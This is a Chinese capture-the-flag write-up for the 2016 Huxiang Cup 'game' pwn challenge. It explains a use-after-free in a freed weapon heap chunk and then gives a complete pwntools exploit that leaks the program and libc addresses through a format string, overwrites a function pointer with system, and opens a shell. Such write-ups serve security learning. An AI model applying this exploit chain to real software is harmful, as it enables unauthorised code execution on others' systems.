zoukankan      html  css  js  c++  java
  • uaf-湖湘杯2016game_学习

    0x00 分析程序

    根据分析,我们可以得到以下重要数据结构

    0x01 发现漏洞

    1.在武器使用次数耗光后,程序会把存储该武器的堆块free,在free的时候没有清空指针,造成悬挂指针

    2.comment存储在一个大小和武器块一样的堆块中,我们武器释放后再执行commit函数,那么武器堆块和comment堆块是同一块堆块

    0x02 漏洞利用

    1.在comment函数中向堆块中写入16字节的ascii码,再利用show_weapon函数把武器数据结构中的attack函数地址泄露出来,由此可以计算得到程序基址

    2.利用程序基址计算出printf地址,再将printf函数写到attack函数处,再调用attack函数(相当于调用printf函数)把memset函数地址打印出来,由此可以计算出libc基址

    3.得到了libc基址,就可以根据libc.so库算出system_addr,再利用comment将system函数写到attack函数处,在堆块中写入‘/bin/sh’,调用attack函数便可得到shell.

    0x03 exp

    from pwn import *
     
    t = process('./game')
    libc = ELF('./libc.so')
    context.log_level = "debug"
    
    def warehouse(count):
        t.recvuntil('$')
        t.sendline('build_warehouse')
        t.recvuntil('want have?
    ')
        t.sendline(str(count))
     
    def buy(name, tid):
        t.recvuntil('$')
        t.sendline('buy_weapon')
        t.recvuntil('buy?
    ')
        t.sendline(name)
        t.recvuntil('weapon?
    ')
        t.sendline(str(tid))
     
    def show(tid):
        t.recvuntil('$')
        t.sendline('show_weapon')
        t.recvuntil('warehouse
    ')
        t.sendline(str(tid))
     
    def attack(tid):
        t.recvuntil('$')
        t.sendline('attack_boss')
        t.recvuntil('warehouse
    ')
        t.sendline(str(tid))
     
    def comment(co_buff):
        t.recvuntil('$')
        t.sendline('comment')
        t.recvuntil('?
    ')
        t.send(co_buff)
     
     
    def leak_addr(addr,printf_plt):
        co_buff = ''
        co_buff += '%%%d$s.' % (7)
        co_buff = co_buff.ljust(16, 'x00')
        co_buff += p32(printf_plt)
        co_buff += '
    '
        comment(co_buff)
        show(0)
        t.sendline('attack_boss')
    
        t.recvuntil('warehouse
    ')
        payload = ''
        payload += '0'* 0x04
        payload += p32(addr)
        t.sendline(payload)
        data = t.recv(4)
        back_addr = u32(data[:4])
        return back_addr
     
    def main():
        t.recvuntil('name?
    ')
        t.sendline('xt')
        warehouse(3)
        buy('UMP45', 0)
        attack(0)
        attack(0)
        attack(0)
        show(0)
     
        co_buff = ''
        co_buff += 'd' * 0x16 + '
    '
        comment(co_buff)
        show(0)
        t.recvuntil('Weapon name: ')
        t.recv(16)
        data = t.recvuntil('price:')[:-7]
     
        addr = u32(data[:4].ljust(4, 'x00'))
        proc_addr = addr - 0x1287
        success('proc_addr:' + hex(proc_addr))
    
        memset_got = 0x00002154 + proc_addr
        printf_plt = 0x00000710 + proc_addr
        memset_addr = leak_addr(memset_got,printf_plt)
        
        offset_memset = libc.symbols['memset']
        offset_system = libc.symbols['system']
     
        libc_base = memset_addr - offset_memset
        system_addr = libc_base + offset_system
        success('libc_base:' + hex(libc_base))
        success('system_addr:' + hex(system_addr))
        
    
        co_buff = ""
        co_buff += "/bin/sh;"
        co_buff = co_buff.ljust(16, 'x00')
        co_buff += p32(system_addr)
        co_buff += "
    "
        comment(co_buff)
        t.sendline("attack_boss")
        t.recvuntil("warehouse
    ")
        payload = ""
        payload += "0"
        t.sendline(payload)
     
        t.interactive()
     
    if __name__ == '__main__':
        main()
    View Code
  • 相关阅读:
    JUC回顾之-可重入的互斥锁ReentrantLock
    java基础知识回顾之java Thread类学习(十二)-- 线程中断
    mknod命令
    一个公益水塘引发的纠纷
    对cgic的理解——name选项
    linux的fwrite()使用方法,当前时间写入文本的程序
    /etc/resolv.conf文件详解
    关于函数strtok和strtok_r的使用要点和实现原理
    shell视频
    进程一些命令pstree,ps,pstack,top
  • 原文地址:https://www.cnblogs.com/elvirangel/p/7779124.html
Copyright © 2011-2022 走看看